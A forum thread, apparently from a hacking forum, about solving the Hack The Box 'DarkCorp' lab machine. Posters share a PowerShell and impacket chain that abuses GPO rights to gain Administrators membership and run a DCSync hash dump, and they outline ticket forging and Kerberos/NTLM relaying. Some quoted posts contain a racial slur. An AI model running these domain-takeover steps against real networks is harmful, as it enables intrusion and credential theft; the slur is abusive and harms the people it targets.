[CyberBlade]

This is helping alot but would love a full writeup

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[shu8uiuhosduhio]

can somebody explain me how to use sshuttle and nmap for scanning internal networking in combination please

[RedBlock]

I have shared the writeup 
Have a look on that once!
https://bf.st/Thread-DarkCorp-Hack-the-Box-writeup

[nothing0112358]

I have shared the writeup 
Have a look on that once!
https://bf.st/Thread-DarkCorp-Hack-the-Box-writeup

Good write up. Sad part it is the unintented way with the bruteforce. Really wish someone can share how to move avec ntlmrelay ldap/smb shell

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[mazafaka555]

why are you all so worrying about "intended road by some random nigger".
Your final objective, almost always -- is to reach Domain Admin. After that you can do whatever you wanted.
And if you can shorten your path -- it a plus for you.

After getting to 'taylor.b.adm' you simply abuse SharpGPOAbuse to create scheduled task -> gain SYSTEM -> dump hashes -> forge Silver/Golden tickets -> with Silver ticker become Admin on WEB-01 (or any system) -> and this Corp is finished off.

But no... instead you want a long-term mind masturbation...
https://i.postimg.cc/zvKvVQqT/1.png

[spamdegratis5]

why are you all so worrying about "intended road by some random nigger".
Your final objective, almost always -- is to reach Domain Admin. After that you can do whatever you wanted.
And if you can shorten your path -- it a plus for you.

After getting to 'taylor.b.adm' you simply abuse SharpGPOAbuse to create scheduled task -> gain SYSTEM -> dump hashes -> forge Silver/Golden tickets -> with Silver ticker become Admin on WEB-01 (or any system) -> and this Corp is finished off.

But no... instead you want a long-term mind masturbation...
https://i.postimg.cc/zvKvVQqT/1.png

Because some of us prefer learning something. That's the point of using this platform. You don't learn if you skip half of the process by pasting the hash in evilwinrm to obtain the flag, but to each their own.

[jsvensson]

why are you all so worrying about "intended road by some random nigger".
Your final objective, almost always -- is to reach Domain Admin. After that you can do whatever you wanted.
And if you can shorten your path -- it a plus for you.

After getting to 'taylor.b.adm' you simply abuse SharpGPOAbuse to create scheduled task -> gain SYSTEM -> dump hashes -> forge Silver/Golden tickets -> with Silver ticker become Admin on WEB-01 (or any system) -> and this Corp is finished off.

But no... instead you want a long-term mind masturbation...
https://i.postimg.cc/zvKvVQqT/1.png

Because some of us prefer learning something. That's the point of using this platform. You don't learn if you skip half of the process by pasting the hash in evilwinrm to obtain the flag, but to each their own.

exactly, i don't give a shit about points on htb just  want to learn new things

[k0iwdxlaxtjxpomup]

thank you all!!

[spamdegratis5]

Here is my PrivEsc from taylor.b.adm to Domain Admin. I didn't know any of these horrific PowerShell GPO commands, ChatGPT helped a lot here. However, using those means there is no SharpGPOAbuse dependency and thus no need to circumvent Defender on the DC.

# Login as taylor.b.adm using evil-winrm.
$ evil-winrm -i 172.16.20.1 -u taylor.b.adm -p 'XXXXXXXXXX'

# Realize taylor.b.adm is gpo_manager
whoami /all

# Check which GPOs exist on DC-01:
Get-GPO -All

# Use the "SecurityUpdates" GPO (because the other ones didn't work)
$GpoName = "SecurityUpdates"

# Add taylor.b.adm to the "Administrators" group
$Group = "Administrators"
$User = "darkcorp\taylor.b.adm"

# Modify GPO to add user to "Administrators" group
Set-GPRegistryValue -Name $GpoName -Key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -ValueName "LocalAccountTokenFilterPolicy" -Type DWord -Value 1

# Update Restricted Groups to ensure the user is added
$Gpo = Get-GPO -Name $GpoName
$GpoPath = "\\darkcorp.htb\sysvol\darkcorp.htb\Policies\{$($Gpo.Id)}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
Add-Content -Path $GpoPath -Value "[Group Membership]" -Force
Add-Content -Path $GpoPath -Value "$Group = $User"

# Force update
gpupdate /force

# DC-SYNC since now you're God:
$ impacket-secretsdump darkcorp.htb/[email protected]

# Use the hashes to harvest flags etc...

And about the user ?

User is in 172.16.18.2. Get the svc_acc's NTLM hash with responder, login and escalate your privileges to Administrator

Have you done that? Or you're just repeating what you have been told?

Btw, someone gave me this info: adcs and web enrollment to root web01. He mentioned relaying kerberos over smb using krbrelayx. I'm still looking how to apply this info. Maybe we need to exploit the CertEnroll share? Idk

Someone just confirmed the first part. Instead of spawning ldap shell, remove the interactive part and add the flag to use dns entry, then use krbrelayx to obtain a certificate using adcs. This blog contains the part about enrollment https://www.synacktiv.com/en/publication...-krbrelayx and the format dns entry should have.

Edit: Check with netexec -M adcs module the location of the ADCS

[mazafaka555]

Here is my PrivEsc from taylor.b.adm to Domain Admin. I didn't know any of these horrific PowerShell GPO commands, ChatGPT helped a lot here. However, using those means there is no SharpGPOAbuse dependency and thus no need to circumvent Defender on the DC.

# Login as taylor.b.adm using evil-winrm.
$ evil-winrm -i 172.16.20.1 -u taylor.b.adm -p 'XXXXXXXXXX'

# Realize taylor.b.adm is gpo_manager
whoami /all

# Check which GPOs exist on DC-01:
Get-GPO -All

# Use the "SecurityUpdates" GPO (because the other ones didn't work)
$GpoName = "SecurityUpdates"

# Add taylor.b.adm to the "Administrators" group
$Group = "Administrators"
$User = "darkcorp\taylor.b.adm"

# Modify GPO to add user to "Administrators" group
Set-GPRegistryValue -Name $GpoName -Key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -ValueName "LocalAccountTokenFilterPolicy" -Type DWord -Value 1

# Update Restricted Groups to ensure the user is added
$Gpo = Get-GPO -Name $GpoName
$GpoPath = "\\darkcorp.htb\sysvol\darkcorp.htb\Policies\{$($Gpo.Id)}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
Add-Content -Path $GpoPath -Value "[Group Membership]" -Force
Add-Content -Path $GpoPath -Value "$Group = $User"

# Force update
gpupdate /force

# DC-SYNC since now you're God:
$ impacket-secretsdump darkcorp.htb/[email protected]

# Use the hashes to harvest flags etc...

And about the user ?

User is in 172.16.18.2. Get the svc_acc's NTLM hash with responder, login and escalate your privileges to Administrator

Have you done that? Or you're just repeating what you have been told?

Btw, someone gave me this info: adcs and web enrollment to root web01. He mentioned relaying kerberos over smb using krbrelayx. I'm still looking how to apply this info. Maybe we need to exploit the CertEnroll share? Idk

Someone just confirmed the first part. Instead of spawning ldap shell, remove the interactive part and add the flag to use dns entry, then use krbrelayx to obtain a certificate using adcs. This blog contains the part about enrollment https://www.synacktiv.com/en/publication...-krbrelayx and the format dns entry should have.

Edit: Check with netexec -M adcs module the location of the ADCS

Yep. And after that you simply auth with acquired cert, getting WEB-01 machine acc hash, forge Silver ticket (once again, but longer...) and dump hashes or auth as local Admin on WEB-01.
But it's sooo long for the final objective of "Hunting Domain Admins" on the Corp Network.

Actually, i'm surprised ... why `taylor.adm` account didn't locked-up after 3-5 password tries (as it should be!). Probably fuckup of the box creators.
Anyways, you can still brute this same user via ssh. So, patches should fix this 2 parts i think.